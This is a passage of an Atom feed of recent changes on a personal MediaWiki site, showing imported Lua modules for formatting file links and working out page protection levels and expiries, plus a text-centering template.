	-- wrapper template.&lt;br /&gt;
	getArgs = getArgs or require(&#039;Module:Arguments&#039;).getArgs&lt;br /&gt;
	local userArgs = getArgs(frame, {&lt;br /&gt;
		parentOnly = defaultArgs,&lt;br /&gt;
		frameOnly = not defaultArgs&lt;br /&gt;
	})&lt;br /&gt;
&lt;br /&gt;
	-- Build the args table. User-specified args overwrite default args.&lt;br /&gt;
	local args = {}&lt;br /&gt;
	for k, v in pairs(defaultArgs or {}) do&lt;br /&gt;
		args[k] = v&lt;br /&gt;
	end&lt;br /&gt;
	for k, v in pairs(userArgs) do&lt;br /&gt;
		args[k] = v&lt;br /&gt;
	end&lt;br /&gt;
	return p._main(args, cfg)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Module:File_link&amp;diff=46</id>
		<title>Module:File link</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Module:File_link&amp;diff=46"/>
		<updated>2026-01-05T07:39:56Z</updated>

		<summary type="html">&lt;p&gt;Justus: 1 revision imported&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;-- This module provides a library for formatting file wikilinks.&lt;br /&gt;
&lt;br /&gt;
local yesno = require(&#039;Module:Yesno&#039;)&lt;br /&gt;
local checkType = require(&#039;libraryUtil&#039;).checkType&lt;br /&gt;
&lt;br /&gt;
local p = {}&lt;br /&gt;
&lt;br /&gt;
function p._main(args)&lt;br /&gt;
	checkType(&#039;_main&#039;, 1, args, &#039;table&#039;)&lt;br /&gt;
&lt;br /&gt;
	-- This is basically libraryUtil.checkTypeForNamedArg, but we are rolling our&lt;br /&gt;
	-- own function to get the right error level.&lt;br /&gt;
	local function checkArg(key, val, level)&lt;br /&gt;
		if type(val) ~= &#039;string&#039; then&lt;br /&gt;
			error(string.format(&lt;br /&gt;
				&amp;quot;type error in &#039;%s&#039; parameter of &#039;_main&#039; (expected string, got %s)&amp;quot;,&lt;br /&gt;
				key, type(val)&lt;br /&gt;
			), level)&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	local ret = {}&lt;br /&gt;
&lt;br /&gt;
	-- Adds a positional parameter to the buffer.&lt;br /&gt;
	local function addPositional(key)&lt;br /&gt;
		local val = args[key]&lt;br /&gt;
		if not val then&lt;br /&gt;
			return nil&lt;br /&gt;
		end&lt;br /&gt;
		checkArg(key, val, 4)&lt;br /&gt;
		ret[#ret + 1] = val&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	-- Adds a named parameter to the buffer. We assume that the parameter name&lt;br /&gt;
	-- is the same as the argument key.&lt;br /&gt;
	local function addNamed(key)&lt;br /&gt;
		local val = args[key]&lt;br /&gt;
		if not val then&lt;br /&gt;
			return nil&lt;br /&gt;
		end&lt;br /&gt;
		checkArg(key, val, 4)&lt;br /&gt;
		ret[#ret + 1] = key .. &#039;=&#039; .. val&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	-- Filename&lt;br /&gt;
	checkArg(&#039;file&#039;, args.file, 3)&lt;br /&gt;
	ret[#ret + 1] = &#039;File:&#039; .. args.file&lt;br /&gt;
&lt;br /&gt;
	-- Format&lt;br /&gt;
	if args.format then&lt;br /&gt;
		checkArg(&#039;format&#039;, args.format)&lt;br /&gt;
		if args.formatfile then&lt;br /&gt;
			checkArg(&#039;formatfile&#039;, args.formatfile)&lt;br /&gt;
			ret[#ret + 1] = args.format .. &#039;=&#039; .. args.formatfile&lt;br /&gt;
		else&lt;br /&gt;
			ret[#ret + 1] = args.format&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	-- Border&lt;br /&gt;
	if yesno(args.border) then&lt;br /&gt;
		ret[#ret + 1] = &#039;border&#039;&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	addPositional(&#039;location&#039;)&lt;br /&gt;
	addPositional(&#039;alignment&#039;)&lt;br /&gt;
	addPositional(&#039;size&#039;)&lt;br /&gt;
	addNamed(&#039;upright&#039;)&lt;br /&gt;
	addNamed(&#039;link&#039;)&lt;br /&gt;
	addNamed(&#039;alt&#039;)&lt;br /&gt;
	addNamed(&#039;page&#039;)&lt;br /&gt;
	addNamed(&#039;class&#039;)&lt;br /&gt;
	addNamed(&#039;lang&#039;)&lt;br /&gt;
	addNamed(&#039;start&#039;)&lt;br /&gt;
	addNamed(&#039;end&#039;)&lt;br /&gt;
	addNamed(&#039;thumbtime&#039;)&lt;br /&gt;
	addPositional(&#039;caption&#039;)&lt;br /&gt;
&lt;br /&gt;
	return string.format(&#039;[[%s]]&#039;, table.concat(ret, &#039;|&#039;))&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function p.main(frame)&lt;br /&gt;
	local origArgs = require(&#039;Module:Arguments&#039;).getArgs(frame, {&lt;br /&gt;
		wrappers = &#039;Template:File link&#039;&lt;br /&gt;
	})&lt;br /&gt;
	if not origArgs.file then&lt;br /&gt;
		error(&amp;quot;&#039;file&#039; parameter missing from [[Template:File link]]&amp;quot;, 0)&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	-- Copy the arguments that were passed to a new table to avoid looking up&lt;br /&gt;
	-- every possible parameter in the frame object.&lt;br /&gt;
	local args = {}&lt;br /&gt;
	for k, v in pairs(origArgs) do&lt;br /&gt;
		-- Make _BLANK a special argument to add a blank parameter. For use in&lt;br /&gt;
		-- conditional templates etc. it is useful for blank arguments to be&lt;br /&gt;
		-- ignored, but we still need a way to specify them so that we can do&lt;br /&gt;
		-- things like [[File:Example.png|link=]].&lt;br /&gt;
		if v == &#039;_BLANK&#039; then&lt;br /&gt;
			v = &#039;&#039;&lt;br /&gt;
		end&lt;br /&gt;
		args[k] = v&lt;br /&gt;
	end&lt;br /&gt;
	return p._main(args)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Module:Effective_protection_level&amp;diff=44</id>
		<title>Module:Effective protection level</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Module:Effective_protection_level&amp;diff=44"/>
		<updated>2026-01-05T07:39:56Z</updated>

		<summary type="html">&lt;p&gt;Justus: 1 revision imported&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;local p = {}&lt;br /&gt;
-- Returns the permission required to perform a given action on a given title.&lt;br /&gt;
-- If no title is specified, the title of the page being displayed is used.&lt;br /&gt;
function p._main(action, pagename)&lt;br /&gt;
	local title&lt;br /&gt;
	if type(pagename) == &#039;table&#039; and pagename.prefixedText then&lt;br /&gt;
		title = pagename&lt;br /&gt;
	elseif pagename then&lt;br /&gt;
		title = mw.title.new(pagename)&lt;br /&gt;
	else&lt;br /&gt;
		title = mw.title.getCurrentTitle()&lt;br /&gt;
	end&lt;br /&gt;
	pagename = title.prefixedText&lt;br /&gt;
	if action == &#039;autoreview&#039; then&lt;br /&gt;
		local level = mw.ext.FlaggedRevs.getStabilitySettings(title)&lt;br /&gt;
		level = level and level.autoreview&lt;br /&gt;
		if level == &#039;review&#039; then&lt;br /&gt;
			return &#039;reviewer&#039;&lt;br /&gt;
		elseif level ~= &#039;&#039; then&lt;br /&gt;
			return level&lt;br /&gt;
		else&lt;br /&gt;
			return nil -- not &#039;*&#039;. a page not being PC-protected is distinct from it being PC-protected with anyone able to review. also not &#039;&#039;, as that would mean PC-protected but nobody can review&lt;br /&gt;
		end&lt;br /&gt;
	elseif action ~= &#039;edit&#039; and action ~= &#039;move&#039; and action ~= &#039;create&#039; and action ~= &#039;upload&#039; and action ~= &#039;undelete&#039; then&lt;br /&gt;
		error( &#039;First parameter must be one of edit, move, create, upload, undelete, autoreview&#039;, 2 )&lt;br /&gt;
	end&lt;br /&gt;
	if title.namespace == 8 then -- MediaWiki namespace&lt;br /&gt;
		if title.text:sub(-3) == &#039;.js&#039; or title.text:sub(-4) == &#039;.css&#039; or title.contentModel == &#039;javascript&#039; or title.contentModel == &#039;css&#039; then -- site JS or CSS page&lt;br /&gt;
			return &#039;interfaceadmin&#039;&lt;br /&gt;
		elseif title.baseText == &amp;quot;Gadgets-definition&amp;quot; then&lt;br /&gt;
			return &#039;interfaceadmin&#039;&lt;br /&gt;
		else -- any non-JS/CSS MediaWiki page&lt;br /&gt;
			return &#039;sysop&#039;&lt;br /&gt;
		end&lt;br /&gt;
	elseif title.namespace == 2 and title.isSubpage then&lt;br /&gt;
		if title.contentModel == &#039;javascript&#039; or title.contentModel == &#039;css&#039; then -- user JS or CSS page&lt;br /&gt;
			return &#039;interfaceadmin&#039;&lt;br /&gt;
		elseif title.contentModel == &#039;json&#039; then -- user JSON page&lt;br /&gt;
			return &#039;sysop&#039;&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	if action == &#039;undelete&#039; then&lt;br /&gt;
		return &#039;sysop&#039;&lt;br /&gt;
	end&lt;br /&gt;
	local level = title.protectionLevels[action] and title.protectionLevels[action][1]&lt;br /&gt;
	if level == &#039;sysop&#039; or level == &#039;editprotected&#039; then&lt;br /&gt;
		return &#039;sysop&#039;&lt;br /&gt;
	elseif title.cascadingProtection.restrictions[action] and title.cascadingProtection.restrictions[action][1] then -- used by a cascading-protected page&lt;br /&gt;
		return &#039;sysop&#039;&lt;br /&gt;
	elseif level == &#039;templateeditor&#039; then&lt;br /&gt;
		return &#039;templateeditor&#039;&lt;br /&gt;
	elseif action == &#039;move&#039; then&lt;br /&gt;
		local blacklistentry = mw.ext.TitleBlacklist.test(&#039;edit&#039;, pagename) -- Testing action edit is correct, since this is for the source page. The target page name gets tested with action move.&lt;br /&gt;
		if blacklistentry and not blacklistentry.params.autoconfirmed then&lt;br /&gt;
			return &#039;templateeditor&#039;&lt;br /&gt;
		elseif title.namespace == 6 then&lt;br /&gt;
			return &#039;filemover&#039;&lt;br /&gt;
		elseif level == &#039;extendedconfirmed&#039; then&lt;br /&gt;
			return &#039;extendedconfirmed&#039;&lt;br /&gt;
		else&lt;br /&gt;
			return &#039;autoconfirmed&#039;&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	local blacklistentry = mw.ext.TitleBlacklist.test(action, pagename)&lt;br /&gt;
	if blacklistentry then&lt;br /&gt;
		if not blacklistentry.params.autoconfirmed then&lt;br /&gt;
			return &#039;templateeditor&#039;&lt;br /&gt;
		elseif level == &#039;extendedconfirmed&#039; then&lt;br /&gt;
			return &#039;extendedconfirmed&#039;&lt;br /&gt;
		else&lt;br /&gt;
			return &#039;autoconfirmed&#039;&lt;br /&gt;
		end&lt;br /&gt;
	elseif level == &#039;editsemiprotected&#039; then -- create-semiprotected pages return this for some reason&lt;br /&gt;
		return &#039;autoconfirmed&#039;&lt;br /&gt;
	elseif level then&lt;br /&gt;
		return level&lt;br /&gt;
	elseif action == &#039;upload&#039; then&lt;br /&gt;
		return &#039;autoconfirmed&#039;&lt;br /&gt;
	elseif action == &#039;create&#039; and title.namespace % 2 == 0 and title.namespace ~= 118 then -- You need to be registered, but not autoconfirmed, to create non-talk pages other than drafts&lt;br /&gt;
		if title.namespace == 0 then&lt;br /&gt;
			return &#039;autoconfirmed&#039; -- Per [[WP:ACPERM]], you need to be autoconfirmed to create pages in mainspace&lt;br /&gt;
		end&lt;br /&gt;
		return &#039;user&#039;&lt;br /&gt;
	else&lt;br /&gt;
		return &#039;*&#039;&lt;br /&gt;
	end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
setmetatable(p, { __index = function(t, k)&lt;br /&gt;
	return function(frame)&lt;br /&gt;
		return t._main(k, frame.args[1])&lt;br /&gt;
	end&lt;br /&gt;
end })&lt;br /&gt;
&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Module:Effective_protection_expiry&amp;diff=42</id>
		<title>Module:Effective protection expiry</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Module:Effective_protection_expiry&amp;diff=42"/>
		<updated>2026-01-05T07:39:56Z</updated>

		<summary type="html">&lt;p&gt;Justus: 1 revision imported&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;local p = {}&lt;br /&gt;
&lt;br /&gt;
-- Returns the expiry of a restriction of an action on a given title, or unknown if it cannot be known.&lt;br /&gt;
-- If no title is specified, the title of the page being displayed is used.&lt;br /&gt;
function p._main(action, pagename)&lt;br /&gt;
	local title&lt;br /&gt;
	if type(pagename) == &#039;table&#039; and pagename.prefixedText then&lt;br /&gt;
		title = pagename&lt;br /&gt;
	elseif pagename then&lt;br /&gt;
		title = mw.title.new(pagename)&lt;br /&gt;
	else&lt;br /&gt;
		title = mw.title.getCurrentTitle()&lt;br /&gt;
	end&lt;br /&gt;
	pagename = title.prefixedText&lt;br /&gt;
	if action == &#039;autoreview&#039; then&lt;br /&gt;
		local stabilitySettings = mw.ext.FlaggedRevs.getStabilitySettings(title)&lt;br /&gt;
		return stabilitySettings and stabilitySettings.expiry or &#039;unknown&#039;&lt;br /&gt;
	elseif action ~= &#039;edit&#039; and action ~= &#039;move&#039; and action ~= &#039;create&#039; and action ~= &#039;upload&#039; then&lt;br /&gt;
		error( &#039;First parameter must be one of edit, move, create, upload, autoreview&#039;, 2 )&lt;br /&gt;
	end&lt;br /&gt;
	local rawExpiry = mw.getCurrentFrame():callParserFunction(&#039;PROTECTIONEXPIRY&#039;, action, pagename)&lt;br /&gt;
	if rawExpiry == &#039;infinity&#039; then&lt;br /&gt;
		return &#039;infinity&#039;&lt;br /&gt;
	elseif rawExpiry == &#039;&#039; then&lt;br /&gt;
		return &#039;unknown&#039;&lt;br /&gt;
	else&lt;br /&gt;
		local year, month, day, hour, minute, second = rawExpiry:match(&lt;br /&gt;
			&#039;^(%d%d%d%d)(%d%d)(%d%d)(%d%d)(%d%d)(%d%d)$&#039;&lt;br /&gt;
		)&lt;br /&gt;
		if year then&lt;br /&gt;
			return string.format(&lt;br /&gt;
				&#039;%s-%s-%sT%s:%s:%s&#039;,&lt;br /&gt;
				year, month, day, hour, minute, second&lt;br /&gt;
			)&lt;br /&gt;
		else&lt;br /&gt;
			error(&#039;internal error in Module:Effective protection expiry; malformed expiry timestamp&#039;)&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
setmetatable(p, { __index = function(t, k)&lt;br /&gt;
	return function(frame)&lt;br /&gt;
		return t._main(k, frame.args[1])&lt;br /&gt;
	end&lt;br /&gt;
end })&lt;br /&gt;
&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Template:Center&amp;diff=40</id>
		<title>Template:Center</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Template:Center&amp;diff=40"/>
		<updated>2026-01-05T07:39:55Z</updated>

		<summary type="html">&lt;p&gt;Justus: 1 revision imported&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div class=&amp;quot;center&amp;quot; {{safesubst&amp;lt;noinclude /&amp;gt;:#if: {{{style|}}} | style=&amp;quot;{{{style}}}&amp;quot;}}&amp;gt;{{{1|[[Category:Pages using center with no arguments]]}}}&amp;lt;/div&amp;gt;{{safesubst&amp;lt;noinclude /&amp;gt;:#invoke:Check for unknown parameters|check|unknown=[[Category:Pages using center with unknown parameters|_VALUE_{{PAGENAME}}]]|preview=Page using [[Template:Center]] with unknown parameter &amp;quot;_VALUE_&amp;quot;|ignoreblank=y| 1 | style }}&amp;lt;noinclude&amp;gt;&lt;br /&gt;
{{documentation}}&lt;br /&gt;
&amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
</feed>